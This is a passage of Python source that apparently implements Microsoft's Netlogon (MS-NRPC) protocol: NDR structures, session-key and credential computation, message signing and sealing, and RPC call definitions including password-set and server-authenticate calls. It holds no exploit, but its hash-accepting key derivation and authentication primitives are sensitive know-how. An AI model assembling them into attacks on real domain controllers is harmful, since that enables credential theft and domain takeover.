ULONG),\n        NETLOGON_DELTA_TYPE.DeleteGroupByName     : ('Rid', ULONG),\n        NETLOGON_DELTA_TYPE.DeleteUserByName      : ('Rid', ULONG),\n        NETLOGON_DELTA_TYPE.AddOrChangeLsaPolicy  : ('Sid', PRPC_SID),\n        NETLOGON_DELTA_TYPE.AddOrChangeLsaTDomain : ('Sid', PRPC_SID),\n        NETLOGON_DELTA_TYPE.DeleteLsaTDomain      : ('Sid', PRPC_SID),\n        NETLOGON_DELTA_TYPE.AddOrChangeLsaAccount : ('Sid', PRPC_SID),\n        NETLOGON_DELTA_TYPE.DeleteLsaAccount      : ('Sid', PRPC_SID),\n        NETLOGON_DELTA_TYPE.AddOrChangeLsaSecret  : ('Name', LPWSTR),\n        NETLOGON_DELTA_TYPE.DeleteLsaSecret       : ('Name', LPWSTR),\n    }\n\n# 2.2.1.5.11 NETLOGON_DELTA_ENUM\nclass NETLOGON_DELTA_ENUM(NDRSTRUCT):\n    structure = (\n        ('DeltaType', NETLOGON_DELTA_TYPE),\n        ('DeltaID', NETLOGON_DELTA_ID_UNION),\n        ('DeltaUnion', NETLOGON_DELTA_UNION),\n    )\n\n# 2.2.1.5.12 NETLOGON_DELTA_ENUM_ARRAY\nclass NETLOGON_DELTA_ENUM_ARRAY_ARRAY(NDRUniConformantArray):\n    item = NETLOGON_DELTA_ENUM\n\nclass PNETLOGON_DELTA_ENUM_ARRAY_ARRAY(NDRSTRUCT):\n    referent = (\n        ('Data', NETLOGON_DELTA_ENUM_ARRAY_ARRAY),\n    )\n\nclass PNETLOGON_DELTA_ENUM_ARRAY(NDRPOINTER):\n    structure = (\n        ('CountReturned', DWORD),\n        ('Deltas', PNETLOGON_DELTA_ENUM_ARRAY_ARRAY),\n    )\n\n# 2.2.1.5.29 SYNC_STATE\nclass SYNC_STATE(NDRENUM):\n    class enumItems(Enum):\n        NormalState          = 0\n        DomainState          = 1\n        GroupState           = 2\n        UasBuiltInGroupState = 3\n        UserState            = 4\n        GroupMemberState     = 5\n        AliasState           = 6\n        AliasMemberState     = 7\n        SamDoneState         = 8\n\n# 2.2.1.6.1 DOMAIN_NAME_BUFFER\nclass DOMAIN_NAME_BUFFER(NDRSTRUCT):\n    structure = (\n        ('DomainNameByteCount', ULONG),\n        ('DomainNames', PUCHAR_ARRAY),\n    )\n\n# 2.2.1.6.2 DS_DOMAIN_TRUSTSW\nclass DS_DOMAIN_TRUSTSW(NDRSTRUCT):\n    structure = (\n        ('NetbiosDomainName', LPWSTR),\n        ('DnsDomainName', LPWSTR),\n        ('Flags', ULONG),\n        ('ParentIndex', ULONG),\n        ('TrustType', ULONG),\n        ('TrustAttributes', ULONG),\n        ('DomainSid', PRPC_SID),\n        ('DomainGuid', GUID),\n    )\n\n# 2.2.1.6.3 NETLOGON_TRUSTED_DOMAIN_ARRAY\nclass DS_DOMAIN_TRUSTSW_ARRAY(NDRUniConformantArray):\n    item = DS_DOMAIN_TRUSTSW\n\nclass PDS_DOMAIN_TRUSTSW_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', DS_DOMAIN_TRUSTSW_ARRAY),\n    )\n\nclass NETLOGON_TRUSTED_DOMAIN_ARRAY(NDRSTRUCT):\n    structure = (\n        ('DomainCount', DWORD),\n        ('Domains', PDS_DOMAIN_TRUSTSW_ARRAY),\n    )\n\n# 2.2.1.6.4 NL_GENERIC_RPC_DATA\nclass NL_GENERIC_RPC_DATA(NDRSTRUCT):\n    structure = (\n        ('UlongEntryCount', ULONG),\n        ('UlongData', PULONG_ARRAY),\n        ('UnicodeStringEntryCount', ULONG),\n        ('UnicodeStringData', PRPC_UNICODE_STRING_ARRAY),\n    )\n\nclass PNL_GENERIC_RPC_DATA(NDRPOINTER):\n    referent = (\n        ('Data', NL_GENERIC_RPC_DATA),\n    )\n\n# 2.2.1.7.1 NETLOGON_CONTROL_DATA_INFORMATION\nclass NETLOGON_CONTROL_DATA_INFORMATION(NDRUNION):\n    commonHdr = (\n        ('tag', DWORD),\n    )\n\n    union = {\n        5 : ('TrustedDomainName', LPWSTR),\n        6 : ('TrustedDomainName', LPWSTR),\n        9 : ('TrustedDomainName', LPWSTR),\n        10 : ('TrustedDomainName', LPWSTR),\n        65534 : ('DebugFlag', DWORD),\n        8: ('UserName', LPWSTR),\n    }\n\n# 2.2.1.7.2 NETLOGON_INFO_1\nclass NETLOGON_INFO_1(NDRSTRUCT):\n    structure = (\n        ('netlog1_flags', DWORD),\n        ('netlog1_pdc_connection_status', NET_API_STATUS),\n    )\n\nclass PNETLOGON_INFO_1(NDRPOINTER):\n    referent = (\n        ('Data', NETLOGON_INFO_1),\n    )\n\n# 2.2.1.7.3 NETLOGON_INFO_2\nclass NETLOGON_INFO_2(NDRSTRUCT):\n    structure = (\n        ('netlog2_flags', DWORD),\n        ('netlog2_pdc_connection_status', NET_API_STATUS),\n        ('netlog2_trusted_dc_name', LPWSTR),\n        ('netlog2_tc_connection_status', NET_API_STATUS),\n    )\n\nclass PNETLOGON_INFO_2(NDRPOINTER):\n    referent = (\n        ('Data', NETLOGON_INFO_2),\n    )\n\n# 2.2.1.7.4 NETLOGON_INFO_3\nclass NETLOGON_INFO_3(NDRSTRUCT):\n    structure = (\n        ('netlog3_flags', DWORD),\n        ('netlog3_logon_attempts', DWORD),\n        ('netlog3_reserved1', DWORD),\n        ('netlog3_reserved2', DWORD),\n        ('netlog3_reserved3', DWORD),\n        ('netlog3_reserved4', DWORD),\n        ('netlog3_reserved5', DWORD),\n    )\n\nclass PNETLOGON_INFO_3(NDRPOINTER):\n    referent = (\n        ('Data', NETLOGON_INFO_3),\n    )\n\n# 2.2.1.7.5 NETLOGON_INFO_4\nclass NETLOGON_INFO_4(NDRSTRUCT):\n    structure = (\n        ('netlog4_trusted_dc_name', LPWSTR),\n        ('netlog4_trusted_domain_name', LPWSTR),\n    )\n\nclass PNETLOGON_INFO_4(NDRPOINTER):\n    referent = (\n        ('Data', NETLOGON_INFO_4),\n    )\n\n# 2.2.1.7.6 NETLOGON_CONTROL_QUERY_INFORMATION\nclass NETLOGON_CONTROL_QUERY_INFORMATION(NDRUNION):\n    commonHdr = (\n        ('tag', DWORD),\n    )\n\n    union = {\n        1 : ('NetlogonInfo1', PNETLOGON_INFO_1),\n        2 : ('NetlogonInfo2', PNETLOGON_INFO_2),\n        3 : ('NetlogonInfo3', PNETLOGON_INFO_3),\n        4 : ('NetlogonInfo4', PNETLOGON_INFO_4),\n    }\n\n# 2.2.1.8.1 NETLOGON_VALIDATION_UAS_INFO\nclass NETLOGON_VALIDATION_UAS_INFO(NDRSTRUCT):\n    structure = (\n        ('usrlog1_eff_name', DWORD),\n        ('usrlog1_priv', DWORD),\n        ('usrlog1_auth_flags', DWORD),\n        ('usrlog1_num_logons', DWORD),\n        ('usrlog1_bad_pw_count', DWORD),\n        ('usrlog1_last_logon', DWORD),\n        ('usrlog1_last_logoff', DWORD),\n        ('usrlog1_logoff_time', DWORD),\n        ('usrlog1_kickoff_time', DWORD),\n        ('usrlog1_password_age', DWORD),\n        ('usrlog1_pw_can_change', DWORD),\n        ('usrlog1_pw_must_change', DWORD),\n        ('usrlog1_computer', LPWSTR),\n        ('usrlog1_domain', LPWSTR),\n        ('usrlog1_script_path', LPWSTR),\n        ('usrlog1_reserved1', DWORD),\n    )\n\nclass PNETLOGON_VALIDATION_UAS_INFO(NDRPOINTER):\n    referent = (\n        ('Data', NETLOGON_VALIDATION_UAS_INFO),\n    )\n\n# 2.2.1.8.2 NETLOGON_LOGOFF_UAS_INFO\nclass NETLOGON_LOGOFF_UAS_INFO(NDRSTRUCT):\n    structure = (\n        ('Duration', DWORD),\n        ('LogonCount', USHORT),\n    )\n\n# 2.2.1.8.3 UAS_INFO_0\nclass UAS_INFO_0(NDRSTRUCT):\n    structure = (\n        ('ComputerName', '16s=\"\"'),\n        ('TimeCreated', ULONG),\n        ('SerialNumber', ULONG),\n    )\n    def getAlignment(self):\n        return 4\n\n# 2.2.1.8.4 NETLOGON_DUMMY1\nclass NETLOGON_DUMMY1(NDRUNION):\n    commonHdr = (\n        ('tag', DWORD),\n    )\n\n    union = {\n        1 : ('Dummy', ULONG),\n    }\n\n# 3.5.4.8.2 NetrLogonComputeServerDigest (Opnum 24)\nclass CHAR_FIXED_16_ARRAY(NDRUniFixedArray):\n    def getDataLen(self, data, offset=0):\n        return 16\n\n\n################################################################################\n# SSPI\n################################################################################\n# Constants\nNL_AUTH_MESSAGE_NETBIOS_DOMAIN        = 0x1\nNL_AUTH_MESSAGE_NETBIOS_HOST          = 0x2\nNL_AUTH_MESSAGE_DNS_DOMAIN            = 0x4\nNL_AUTH_MESSAGE_DNS_HOST              = 0x8\nNL_AUTH_MESSAGE_NETBIOS_HOST_UTF8     = 0x10\n\nNL_AUTH_MESSAGE_REQUEST               = 0x0\nNL_AUTH_MESSAGE_RESPONSE              = 0x1\n\nNL_SIGNATURE_HMAC_MD5    = 0x77\nNL_SIGNATURE_HMAC_SHA256 = 0x13\nNL_SEAL_NOT_ENCRYPTED    = 0xffff\nNL_SEAL_RC4              = 0x7A\nNL_SEAL_AES128           = 0x1A\n\n# Structures\nclass NL_AUTH_MESSAGE(Structure):\n    structure = (\n        ('MessageType','<L=0'),\n        ('Flags','<L=0'),\n        ('Buffer',':'),\n    )\n    def __init__(self, data = None, alignment = 0):\n        Structure.__init__(self, data, alignment)\n        if data is None:\n            self['Buffer'] = b'\\x00'*4\n\nclass NL_AUTH_SIGNATURE(Structure):\n    structure = (\n        ('SignatureAlgorithm','<H=0'),\n        ('SealAlgorithm','<H=0'),\n        ('Pad','<H=0xffff'),\n        ('Flags','<H=0'),\n        ('SequenceNumber','8s=\"\"'),\n        ('Checksum','8s=\"\"'),\n        ('_Confounder','_-Confounder','8'),\n        ('Confounder',':'),\n    )\n    def __init__(self, data = None, alignment = 0):\n        Structure.__init__(self, data, alignment)\n        if data is None:\n            self['Confounder'] = ''\n\nclass NL_AUTH_SHA2_SIGNATURE(Structure):\n    structure = (\n        ('SignatureAlgorithm','<H=0'),\n        ('SealAlgorithm','<H=0'),\n        ('Pad','<H=0xffff'),\n        ('Flags','<H=0'),\n        ('SequenceNumber','8s=\"\"'),\n        ('Checksum','8s=\"\"'),\n        ('_Confounder','_-Confounder','8'),\n        ('Confounder',':'),\n        ('Reserved','24s=\"\"'),\n    )\n    def __init__(self, data = None, alignment = 0):\n        Structure.__init__(self, data, alignment)\n        if data is None:\n            self['Confounder'] = ''\n\n# Section 3.1.4.4.2\ndef ComputeNetlogonCredential(inputData, Sk):\n    k1 = Sk[:7]\n    k3 = crypto.transformKey(k1)\n    k2 = Sk[7:14]\n    k4 = crypto.transformKey(k2)\n    Crypt1 = DES.new(k3, DES.MODE_ECB)\n    Crypt2 = DES.new(k4, DES.MODE_ECB)\n    cipherText = Crypt1.encrypt(inputData)\n    return Crypt2.encrypt(cipherText)\n\n# Section 3.1.4.4.1\ndef ComputeNetlogonCredentialAES(inputData, Sk):\n    IV=b'\\x00'*16\n    Crypt1 = AES.new(Sk, AES.MODE_CFB, IV)\n    return Crypt1.encrypt(inputData)\n\n# Section 3.1.4.3.1\ndef ComputeSessionKeyAES(sharedSecret, clientChallenge, serverChallenge, sharedSecretHash = None):\n    # added the ability to receive hashes already\n    if sharedSecretHash is None:\n        M4SS = ntlm.NTOWFv1(sharedSecret)\n    else:\n        M4SS = sharedSecretHash\n\n    hm = hmac.new(key=M4SS, digestmod=hashlib.sha256)\n    hm.update(clientChallenge)\n    hm.update(serverChallenge)\n    sessionKey = hm.digest()\n\n    return sessionKey[:16]\n\n# 3.1.4.3.2 Strong-key Session-Key\ndef ComputeSessionKeyStrongKey(sharedSecret, clientChallenge, serverChallenge, sharedSecretHash = None):\n    # added the ability to receive hashes already\n\n    if sharedSecretHash is None:\n        M4SS = ntlm.NTOWFv1(sharedSecret)\n    else:\n        M4SS = sharedSecretHash\n\n    md5 = hashlib.new('md5')\n    md5.update(b'\\x00'*4)\n    md5.update(clientChallenge)\n    md5.update(serverChallenge)\n    finalMD5 = md5.digest()\n    hm = hmac.new(M4SS, digestmod=hashlib.md5)\n    hm.update(finalMD5)\n    return hm.digest()\n\ndef deriveSequenceNumber(sequenceNum):\n    sequenceLow = sequenceNum & 0xffffffff\n    sequenceHigh = (sequenceNum >> 32) & 0xffffffff\n    sequenceHigh |= 0x80000000\n\n    res = pack('>L', sequenceLow)\n    res += pack('>L', sequenceHigh)\n    return res\n\ndef ComputeNetlogonSignatureAES(authSignature, message, confounder, sessionKey):\n    # [MS-NRPC] Section 3.3.4.2.1, point 7\n    hm = hmac.new(key=sessionKey, digestmod=hashlib.sha256)\n    hm.update(authSignature.getData()[:8])\n    # If no confidentiality requested, it should be ''\n    hm.update(confounder)\n    hm.update(bytes(message))\n    return hm.digest()[:8]\n\ndef ComputeNetlogonSignatureMD5(authSignature, message, confounder, sessionKey):\n    # [MS-NRPC] Section 3.3.4.2.1, point 7\n    md5 = hashlib.new('md5')\n    md5.update(b'\\x00'*4)\n    md5.update(authSignature.getData()[:8])\n    # If no confidentiality requested, it should be ''\n    md5.update(confounder)\n    md5.update(bytes(message))\n    finalMD5 = md5.digest()\n    hm = hmac.new(sessionKey, digestmod=hashlib.md5)\n    hm.update(finalMD5)\n    return hm.digest()[:8]\n\ndef ComputeNetlogonAuthenticatorAES(clientStoredCredential, sessionKey):\n    # [MS-NRPC] Section 3.1.4.5\n    timestamp = int(time.time())\n\n    authenticator = NETLOGON_AUTHENTICATOR()\n    authenticator['Timestamp'] = timestamp\n\n    credential = unpack('<I', clientStoredCredential[:4])[0] + timestamp\n    if credential > 0xffffffff:\n        credential &= 0xffffffff\n    credential = pack('<I', credential)\n\n    authenticator['Credential'] = ComputeNetlogonCredentialAES(credential + clientStoredCredential[4:], sessionKey)\n    return authenticator\n\ndef ComputeNetlogonAuthenticator(clientStoredCredential, sessionKey):\n    # [MS-NRPC] Section 3.1.4.5\n    timestamp = int(time.time())\n\n    authenticator = NETLOGON_AUTHENTICATOR()\n    authenticator['Timestamp'] = timestamp\n\n    credential = unpack('<I', clientStoredCredential[:4])[0] + timestamp\n    if credential > 0xffffffff:\n        credential &= 0xffffffff\n    credential = pack('<I', credential)\n\n    authenticator['Credential'] = ComputeNetlogonCredential(credential + clientStoredCredential[4:], sessionKey)\n    return authenticator\n\ndef encryptSequenceNumberRC4(sequenceNum, checkSum, sessionKey):\n    # [MS-NRPC] Section 3.3.4.2.1, point 9\n\n    hm = hmac.new(sessionKey, digestmod=hashlib.md5)\n    hm.update(b'\\x00'*4)\n    hm2 = hmac.new(hm.digest(), digestmod=hashlib.md5)\n    hm2.update(checkSum)\n    encryptionKey = hm2.digest()\n\n    cipher = ARC4.new(encryptionKey)\n    return cipher.encrypt(sequenceNum)\n\ndef decryptSequenceNumberRC4(sequenceNum, checkSum, sessionKey):\n    # [MS-NRPC] Section 3.3.4.2.2, point 5\n\n    return encryptSequenceNumberRC4(sequenceNum, checkSum, sessionKey)\n\ndef encryptSequenceNumberAES(sequenceNum, checkSum, sessionKey):\n    # [MS-NRPC] Section 3.3.4.2.1, point 9\n    IV = checkSum[:8] + checkSum[:8]\n    Cipher = AES.new(sessionKey, AES.MODE_CFB, IV)\n    return Cipher.encrypt(sequenceNum)\n\ndef decryptSequenceNumberAES(sequenceNum, checkSum, sessionKey):\n    # [MS-NRPC] Section 3.3.4.2.1, point 9\n    IV = checkSum[:8] + checkSum[:8]\n    Cipher = AES.new(sessionKey, AES.MODE_CFB, IV)\n    return Cipher.decrypt(sequenceNum)\n\ndef SIGN(data, confounder, sequenceNum, key, aes = False):\n    if aes is False:\n        signature = NL_AUTH_SIGNATURE()\n        signature['SignatureAlgorithm'] = NL_SIGNATURE_HMAC_MD5\n        if confounder == b'':\n            signature['SealAlgorithm'] = NL_SEAL_NOT_ENCRYPTED\n        else:\n            signature['SealAlgorithm'] = NL_SEAL_RC4\n        signature['Checksum'] = ComputeNetlogonSignatureMD5(signature, data, confounder, key)\n        signature['SequenceNumber'] = encryptSequenceNumberRC4(deriveSequenceNumber(sequenceNum), signature['Checksum'], key)\n        return signature\n    else:\n        signature = NL_AUTH_SHA2_SIGNATURE()\n        signature['SignatureAlgorithm'] = NL_SIGNATURE_HMAC_SHA256\n        if confounder == b'':\n            signature['SealAlgorithm'] = NL_SEAL_NOT_ENCRYPTED\n        else:\n            signature['SealAlgorithm'] = NL_SEAL_AES128\n        signature['Checksum'] = ComputeNetlogonSignatureAES(signature, data, confounder, key)\n        signature['SequenceNumber'] = encryptSequenceNumberAES(deriveSequenceNumber(sequenceNum), signature['Checksum'], key)\n        # 2.2.1.3.3 : Reserved: The sender SHOULD set these bytes to zero, and the receiver MUST ignore them.\n        signature['Reserved'] = b'\\x00'*24\n        return signature\n\ndef SEAL(data, confounder, sequenceNum, key, aes = False):\n    signature = SIGN(data, confounder, sequenceNum, key, aes)\n    sequenceNum = deriveSequenceNumber(sequenceNum)\n\n    XorKey = bytearray(key)\n    for i in range(len(XorKey)):\n        XorKey[i] = XorKey[i] ^ 0xf0\n\n    XorKey = bytes(XorKey)\n\n    if aes is False:\n        hm = hmac.new(XorKey, digestmod=hashlib.md5)\n        hm.update(b'\\x00'*4)\n        hm2 = hmac.new(hm.digest(), digestmod=hashlib.md5)\n        hm2.update(sequenceNum)\n        encryptionKey = hm2.digest()\n\n        cipher = ARC4.new(encryptionKey)\n        cfounder = cipher.encrypt(confounder)\n        cipher = ARC4.new(encryptionKey)\n        encrypted = cipher.encrypt(data)\n\n        signature['Confounder'] = cfounder\n\n        return encrypted, signature\n    else:\n        IV = sequenceNum + sequenceNum\n        cipher = AES.new(XorKey, AES.MODE_CFB, IV)\n        cfounder = cipher.encrypt(confounder)\n        encrypted = cipher.encrypt(data)\n\n        signature['Confounder'] = cfounder\n\n        return encrypted, signature\n\ndef UNSEAL(data, auth_data, key, aes = False):\n    auth_data = NL_AUTH_SIGNATURE(auth_data)\n    XorKey = bytearray(key)\n    for i in range(len(XorKey)):\n        XorKey[i] = XorKey[i] ^ 0xf0\n\n    XorKey = bytes(XorKey)\n\n    if aes is False:\n        sequenceNum = decryptSequenceNumberRC4(auth_data['SequenceNumber'], auth_data['Checksum'],  key)\n        hm = hmac.new(XorKey, digestmod=hashlib.md5)\n        hm.update(b'\\x00'*4)\n        hm2 = hmac.new(hm.digest(), digestmod=hashlib.md5)\n        hm2.update(sequenceNum)\n        encryptionKey = hm2.digest()\n\n        cipher = ARC4.new(encryptionKey)\n        cfounder = cipher.encrypt(auth_data['Confounder'])\n        cipher = ARC4.new(encryptionKey)\n        plain = cipher.encrypt(data)\n\n        return plain, cfounder\n    else:\n        sequenceNum = decryptSequenceNumberAES(auth_data['SequenceNumber'], auth_data['Checksum'],  key)\n        IV = sequenceNum + sequenceNum\n        cipher = AES.new(XorKey, AES.MODE_CFB, IV)\n        cfounder = cipher.decrypt(auth_data['Confounder'])\n        plain = cipher.decrypt(data)\n        return plain, cfounder\n\ndef CompressedUtf8String(domain_name):\n    if domain_name is None:\n        raise ValueError(\"domain_name cannot be None\")\n\n    MAX_LABEL_LENGTH = 63\n\n    buf = bytearray()\n    labels = domain_name.split('.')\n    \n    for label in labels:\n        label_bytes = label.encode('utf-8')\n        if len(label_bytes) > MAX_LABEL_LENGTH:\n            raise ValueError(\"Label exceeded max length of 63 bytes.\")\n        buf.append(len(label_bytes))\n        buf.extend(label_bytes)\n    buf.append(0)\n\n    return bytes(buf)\n\ndef getSSPType1(workstation='', domain='', signingRequired=False):\n    auth = NL_AUTH_MESSAGE()\n    auth['MessageType'] = NL_AUTH_MESSAGE_REQUEST\n    auth['Flags'] = 0\n    \n    if domain != '':\n        if '.' in domain:\n            auth['Flags'] = NL_AUTH_MESSAGE_NETBIOS_HOST | NL_AUTH_MESSAGE_DNS_DOMAIN\n            if workstation != '':\n                auth['Buffer'] = b(workstation) + b'\\x00' + CompressedUtf8String(domain)\n            else:\n                auth['Buffer'] = b'MYHOST\\x00' + CompressedUtf8String(domain)\n        else:\n            auth['Flags'] = NL_AUTH_MESSAGE_NETBIOS_HOST | NL_AUTH_MESSAGE_NETBIOS_DOMAIN\n            if workstation != '':\n                auth['Buffer'] = b(domain) + b'\\x00' + b(workstation) + b'\\x00'\n            else:\n                auth['Buffer'] = b(domain) + b'\\x00MYHOST\\x00'\n    else:\n        if workstation != '':\n            auth['Buffer'] = b'WORKGROUP\\x00' + b(workstation) + b'\\x00'\n        else:\n            auth['Buffer'] = b'WORKGROUP\\x00MYHOST\\x00'\n        \n    auth['Flags'] |= NL_AUTH_MESSAGE_NETBIOS_HOST_UTF8\n    \n    if workstation != '':\n        auth['Buffer'] += pack('<B',len(workstation)) + b(workstation) + b'\\x00'\n    else:\n        auth['Buffer'] += b'\\x06MYHOST\\x00'\n        \n    return auth\n\n################################################################################\n# RPC CALLS\n################################################################################\n# 3.5.4.3.1 DsrGetDcNameEx2 (Opnum 34)\nclass DsrGetDcNameEx2(NDRCALL):\n    opnum = 34\n    structure = (\n       ('ComputerName',PLOGONSRV_HANDLE),\n       ('AccountName', LPWSTR),\n       ('AllowableAccountControlBits', ULONG),\n       ('DomainName',LPWSTR),\n       ('DomainGuid',PGUID),\n       ('SiteName',LPWSTR),\n       ('Flags',ULONG),\n    )\n\nclass DsrGetDcNameEx2Response(NDRCALL):\n    structure = (\n       ('DomainControllerInfo',PDOMAIN_CONTROLLER_INFOW),\n       ('ErrorCode',NET_API_STATUS),\n    )\n\n# 3.5.4.3.2 DsrGetDcNameEx (Opnum 27)\nclass DsrGetDcNameEx(NDRCALL):\n    opnum = 27\n    structure = (\n       ('ComputerName',PLOGONSRV_HANDLE),\n       ('DomainName',LPWSTR),\n       ('DomainGuid',PGUID),\n       ('SiteName',LPWSTR),\n       ('Flags',ULONG),\n    )\n\nclass DsrGetDcNameExResponse(NDRCALL):\n    structure = (\n       ('DomainControllerInfo',PDOMAIN_CONTROLLER_INFOW),\n       ('ErrorCode',NET_API_STATUS),\n    )\n\n# 3.5.4.3.3 DsrGetDcName (Opnum 20)\nclass DsrGetDcName(NDRCALL):\n    opnum = 20\n    structure = (\n       ('ComputerName',PLOGONSRV_HANDLE),\n       ('DomainName',LPWSTR),\n       ('DomainGuid',PGUID),\n       ('SiteGuid',PGUID),\n       ('Flags',ULONG),\n    )\n\nclass DsrGetDcNameResponse(NDRCALL):\n    structure = (\n       ('DomainControllerInfo',PDOMAIN_CONTROLLER_INFOW),\n       ('ErrorCode',NET_API_STATUS),\n    )\n\n# 3.5.4.3.4 NetrGetDCName (Opnum 11)\nclass NetrGetDCName(NDRCALL):\n    opnum = 11\n    structure = (\n       ('ServerName',LOGONSRV_HANDLE),\n       ('DomainName',LPWSTR),\n    )\n\nclass NetrGetDCNameResponse(NDRCALL):\n    structure = (\n       ('Buffer',LPWSTR),\n       ('ErrorCode',NET_API_STATUS),\n    )\n\n# 3.5.4.3.5 NetrGetAnyDCName (Opnum 13)\nclass NetrGetAnyDCName(NDRCALL):\n    opnum = 13\n    structure = (\n       ('ServerName',PLOGONSRV_HANDLE),\n       ('DomainName',LPWSTR),\n    )\n\nclass NetrGetAnyDCNameResponse(NDRCALL):\n    structure = (\n       ('Buffer',LPWSTR),\n       ('ErrorCode',NET_API_STATUS),\n    )\n\n# 3.5.4.3.6 DsrGetSiteName (Opnum 28)\nclass DsrGetSiteName(NDRCALL):\n    opnum = 28\n    structure = (\n       ('ComputerName',PLOGONSRV_HANDLE),\n    )\n\nclass DsrGetSiteNameResponse(NDRCALL):\n    structure = (\n       ('SiteName',LPWSTR),\n       ('ErrorCode',NET_API_STATUS),\n    )\n\n# 3.5.4.3.7 DsrGetDcSiteCoverageW (Opnum 38)\nclass DsrGetDcSiteCoverageW(NDRCALL):\n    opnum = 38\n    structure = (\n       ('ServerName',PLOGONSRV_HANDLE),\n    )\n\nclass DsrGetDcSiteCoverageWResponse(NDRCALL):\n    structure = (\n       ('SiteNames',PNL_SITE_NAME_ARRAY),\n       ('ErrorCode',NET_API_STATUS),\n    )\n\n# 3.5.4.3.8 DsrAddressToSiteNamesW (Opnum 33)\nclass DsrAddressToSiteNamesW(NDRCALL):\n    opnum = 33\n    structure = (\n       ('ComputerName',PLOGONSRV_HANDLE),\n       ('EntryCount',ULONG),\n       ('SocketAddresses',NL_SOCKET_ADDRESS_ARRAY),\n    )\n\nclass DsrAddressToSiteNamesWResponse(NDRCALL):\n    structure = (\n       ('SiteNames',PNL_SITE_NAME_ARRAY),\n       ('ErrorCode',NET_API_STATUS),\n    )\n\n# 3.5.4.3.9 DsrAddressToSiteNamesExW (Opnum 37)\nclass DsrAddressToSiteNamesExW(NDRCALL):\n    opnum = 37\n    structure = (\n       ('ComputerName',PLOGONSRV_HANDLE),\n       ('EntryCount',ULONG),\n       ('SocketAddresses',NL_SOCKET_ADDRESS_ARRAY),\n    )\n\nclass DsrAddressToSiteNamesExWResponse(NDRCALL):\n    structure = (\n       ('SiteNames',PNL_SITE_NAME_EX_ARRAY),\n       ('ErrorCode',NET_API_STATUS),\n    )\n\n# 3.5.4.3.10 DsrDeregisterDnsHostRecords (Opnum 41)\nclass DsrDeregisterDnsHostRecords(NDRCALL):\n    opnum = 41\n    structure = (\n       ('ServerName',PLOGONSRV_HANDLE),\n       ('DnsDomainName',LPWSTR),\n       ('DomainGuid',PGUID),\n       ('DsaGuid',PGUID),\n       ('DnsHostName',WSTR),\n    )\n\nclass DsrDeregisterDnsHostRecordsResponse(NDRCALL):\n    structure = (\n       ('ErrorCode',NET_API_STATUS),\n    )\n\n# 3.5.4.3.11 DSRUpdateReadOnlyServerDnsRecords (Opnum 48)\nclass DSRUpdateReadOnlyServerDnsRecords(NDRCALL):\n    opnum = 48\n    structure = (\n       ('ServerName',PLOGONSRV_HANDLE),\n       ('ComputerName',WSTR),\n       ('Authenticator',NETLOGON_AUTHENTICATOR),\n       ('SiteName',LPWSTR),\n       ('DnsTtl',ULONG),\n       ('DnsNames',NL_DNS_NAME_INFO_ARRAY),\n    )\n\nclass DSRUpdateReadOnlyServerDnsRecordsResponse(NDRCALL):\n    structure = (\n       ('ReturnAuthenticator',NETLOGON_AUTHENTICATOR),\n       ('DnsNames',NL_DNS_NAME_INFO_ARRAY),\n       ('ErrorCode',NTSTATUS),\n    )\n\n# 3.5.4.4.1 NetrServerReqChallenge (Opnum 4)\nclass NetrServerReqChallenge(NDRCALL):\n    opnum = 4\n    structure = (\n       ('PrimaryName',PLOGONSRV_HANDLE),\n       ('ComputerName',WSTR),\n       ('ClientChallenge',NETLOGON_CREDENTIAL),\n    )\n\nclass NetrServerReqChallengeResponse(NDRCALL):\n    structure = (\n       ('ServerChallenge',NETLOGON_CREDENTIAL),\n       ('ErrorCode',NTSTATUS),\n    )\n\n# 3.5.4.4.2 NetrServerAuthenticate3 (Opnum 26)\nclass NetrServerAuthenticate3(NDRCALL):\n    opnum = 26\n    structure = (\n       ('PrimaryName',PLOGONSRV_HANDLE),\n       ('AccountName',WSTR),\n       ('SecureChannelType',NETLOGON_SECURE_CHANNEL_TYPE),\n       ('ComputerName',WSTR),\n       ('ClientCredential',NETLOGON_CREDENTIAL),\n       ('NegotiateFlags',ULONG),\n    )\n\nclass NetrServerAuthenticate3Response(NDRCALL):\n    structure = (\n       ('ServerCredential',NETLOGON_CREDENTIAL),\n       ('NegotiateFlags',ULONG),\n       ('AccountRid',ULONG),\n       ('ErrorCode',NTSTATUS),\n    )\n\n# 3.5.4.4.3 NetrServerAuthenticate2 (Opnum 15)\nclass NetrServerAuthenticate2(NDRCALL):\n    opnum = 15\n    structure = (\n       ('PrimaryName',PLOGONSRV_HANDLE),\n       ('AccountName',WSTR),\n       ('SecureChannelType',NETLOGON_SECURE_CHANNEL_TYPE),\n       ('ComputerName',WSTR),\n       ('ClientCredential',NETLOGON_CREDENTIAL),\n       ('NegotiateFlags',ULONG),\n    )\n\nclass NetrServerAuthenticate2Response(NDRCALL):\n    structure = (\n       ('ServerCredential',NETLOGON_CREDENTIAL),\n       ('NegotiateFlags',ULONG),\n       ('ErrorCode',NTSTATUS),\n    )\n\n# 3.5.4.4.4 NetrServerAuthenticate (Opnum 5)\nclass NetrServerAuthenticate(NDRCALL):\n    opnum = 5\n    structure = (\n       ('PrimaryName',PLOGONSRV_HANDLE),\n       ('AccountName',WSTR),\n       ('SecureChannelType',NETLOGON_SECURE_CHANNEL_TYPE),\n       ('ComputerName',WSTR),\n       ('ClientCredential',NETLOGON_CREDENTIAL),\n    )\n\nclass NetrServerAuthenticateResponse(NDRCALL):\n    structure = (\n       ('ServerCredential',NETLOGON_CREDENTIAL),\n       ('ErrorCode',NTSTATUS),\n    )\n\n# 3.5.4.4.5 NetrServerPasswordSet2 (Opnum 30)\nclass NetrServerPasswordSet2(NDRCALL):\n    opnum = 30\n    structure = (\n       ('PrimaryName',PLOGONSRV_HANDLE),\n       ('AccountName',WSTR),\n       ('SecureChannelType',NETLOGON_SECURE_CHANNEL_TYPE),\n       ('ComputerName',WSTR),\n       ('Authenticator',NETLOGON_AUTHENTICATOR),\n       #('ClearNewPassword',NL_TRUST_PASSWORD),\n       ('ClearNewPassword',NL_TRUST_PASSWORD_FIXED_ARRAY),\n    )\n\nclass NetrServerPasswordSet2Response(NDRCALL):\n    structure = (\n       ('ReturnAuthenticator',NETLOGON_AUTHENTICATOR),\n       ('ErrorCode',NTSTATUS),\n    )\n\n# 3.5.4.4.6 NetrServerPasswordSet (Opnum 6)\n\n# 3.5.4.4.7 NetrServerPasswordGet (Opnum 31)\nclass NetrServerPasswordGet(NDRCALL):\n    opnum = 31\n    structure = (\n       ('PrimaryName',PLOGONSRV_HANDLE),\n       ('AccountName',WSTR),\n       